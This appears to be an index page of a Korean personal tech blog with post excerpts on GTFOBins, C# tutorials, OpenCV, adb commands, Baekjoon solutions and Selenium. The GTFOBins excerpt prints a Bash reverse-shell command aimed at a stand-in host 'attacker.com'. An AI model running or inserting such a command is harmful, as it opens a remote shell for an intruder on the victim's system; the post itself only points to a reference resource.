728x90 분류 전체보기720 보안 - GTFOBins, 시스템 보안 무력화 명령어 모음들 https://gtfobins.github.io/ GTFOBins pg Shell File read SUID Sudo gtfobins.github.io 예시) Bash 리버스 쉘 활성화 명령어 export RHOST=attacker.com export RPORT=12345 bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT 2023. 1. 22. 프라이버시 - 보안과 프라이버시의 차이점 보안과 프라이버시는 비슷한 단어같지만, 큰 차이가 있다. 예를 들어, 보안은 당신이 감옥에서 24시간 동안 간수 20명이 지키고 있는 것과 같은 상황이다. 이 경우에는 안전하겠지만, 프라이버시는 존재하지 않는다. 밖에서 안이 보이지 않는, 쓰러져 가는 집의 경우에는 만족스러운 프라이버시를 경험하겠지만, 상당히 위험하다. 그래서 악의적인 해커의 공격으로부터 메시지 내용을 보호할 수 있다. 또한 국가 기관이 개입하여 메시지 전달 경로의 중간에서 위치한 서버를 압수수색 하더라도, 서버에는 암호화된 메시지만 존재하기 때문에 그 내용을 해독하기 어려워 개인의 프라이버시를 보호할 수 있는 장점이 있다. 영국에서는 이러한 암호화가 어린이들에게 유발할 수 있는 잠재적인 위험을 경고하는 캠페인이 곳곳에서 일어나고 있다... 2023. 1. 22. C# - 마이크로소프트 공식 UWP, WPF 자습서 (GUI 프로그래밍) 및 둘의 차이점 UWP 자습서 https://learn.microsoft.com/ko-kr/visualstudio/get-started/csharp/tutorial-uwp?view=vs-2022 자습서: Visual Studio 및 C#을 사용하여 UWP 앱 만들기 Visual Studio에서 XAML 및 C#을 사용하여 UWP 앱 만들기 learn.microsoft.com WPF 자습서 https://learn.microsoft.com/ko-kr/visualstudio/get-started/csharp/tutorial-wpf?view=vs-2022 C#에서 WPF를 사용하는 Hello World 앱 - Visual Studio (Windows) WPF(Windows Presentation Foundation) UI 프.. 2023. 1. 19. 포트포워딩 테스트 사이트(Open Port Check Tool) 사이트 주소 https://www.yougetsignal.com/tools/open-ports/ Open Port Check Tool - Test Port Forwarding on Your Router www.yougetsignal.com 사이트에서 서버의 포트가 열려있는지 닫혀있는지 확인이 가능하다. 2023. 1. 19. OpenCV - 파이썬 cv2 이미지 속에 특정 이미지 감지하기 def isExistImage(a, b, c=0.65): print("이미지 존재 여부") img_rgb = cv2.imread(a) template = cv2.imread(b) h, w = template.shape[:-1] res = cv2.matchTemplate(img_rgb, template, cv2.TM_CCOEFF_NORMED) threshold = c loc = np.where(res >= threshold) return len( loc[0] ) != 0 print(isExistImage("screen.png", "target.png")) # True or False def getMatchPosition(a, b, c=0.65): print("이미지 위치 가져오기") img_rgb = cv.. 2023. 1. 16. 안드로이드 - adb로 앱 실행 시키기 ex) 카카오톡 실행 명령어 adb shell am start com.kakao.talk 앱의 패키지명 찾는 방법 구글 플레이스토어에 앱 이름을 검색해서 공유 버튼을 눌러 URL 주소를 확인하면 앱의 패키지명이 나온다(com.kakao.talk) 참고: https://colalove5562.tistory.com/31 [Android] 어플 패키지명 확인하는 방법 안드로이드 어플의 패키지명 확인하기 : 패키지명(Package name) 이란? 안드로이드 앱 각각의 고유한 이름이라고 할 수 있습니다. 사용자에게 직접적으로 보이지는 않지만, 이 이름은 중복될 수 없 colalove5562.tistory.com 출처 https://stackoverflow.com/questions/4567904/how-to-st.. 2023. 1. 15. 안드로이드 - adb 터치&스와이프(스크롤) 이벤트 터치 adb shell input tap 500 500 스와이프(스크롤) adb shell input swipe 500 500 100 1000 100 # adb shell input swipe xSource, ySource, xDestination, yDestination, Duration(ms) 뒤로가기 input keyevent 4 //혹은 input keyevent 187 자세한 터치 x, y 좌표를 얻고 싶다면 개발자 옵션에서 입력 메뉴에 "포인터 위치" 옵션을 켜주면 된다. 출처: https://code-clipping.tistory.com/4 안드로이드 터치 이벤트 (adb shell input tap) adb shell input tap 500 500 Command: adb shell inp.. 2023. 1. 14. 백준 - 문자열 (Python 3) 정답 a, b = input().split() arr = [] for i in range( len(b) - len(a) + 1 ): cnt = 0 for j in range( len(a) ): if a[j] != b[i + j]: cnt += 1 arr.append(cnt) print( min( arr ) ) 2022. 12. 29. 백준 - 새싹(Python 3) 정답 새싹 = """ ,r'"7 r`-_ ,' ,/ \. ". L_r' `~\/ | |""" print(새싹) 풀이 개행(\n)이나 특수기호 "나 '를 주의해서 새싹을 출력을 한다. 2022. 12. 29. 백준 - 1998년생인 내가 태국에서는 2541년생?!(Python 3) 정답 print( int( input() ) - 543 ) 풀이 불기 원년(1년)은 서기전 544년이므로, 사용자가 입력하는 불기 연도에다 543을 빼주면 서기 년도를 구할 수 있다. 2022. 12. 29. 기타 - J팝 기타 악보 모음 사이트 https://gakufu.gakki.me/ 【すべて無料で見放題】ギターコード/ピアノコード検索サイト|楽器.me gakufu.gakki.me 2022. 12. 23. 셀레니움 - 브라우저 창 위치 안보이는 곳으로 이동 var options = new ChromeOptions(); options.AddArgument("--window-position=-32000,-32000"); var chromeDriverService = ChromeDriverService.CreateDefaultService(); chromeDriverService.HideCommandPromptWindow = true; driver = new ChromeDriver(chromeDriverService, options); 2022. 12. 19. 이전 1 ··· 24 25 26 27 28 29 30 ··· 60 다음 728x90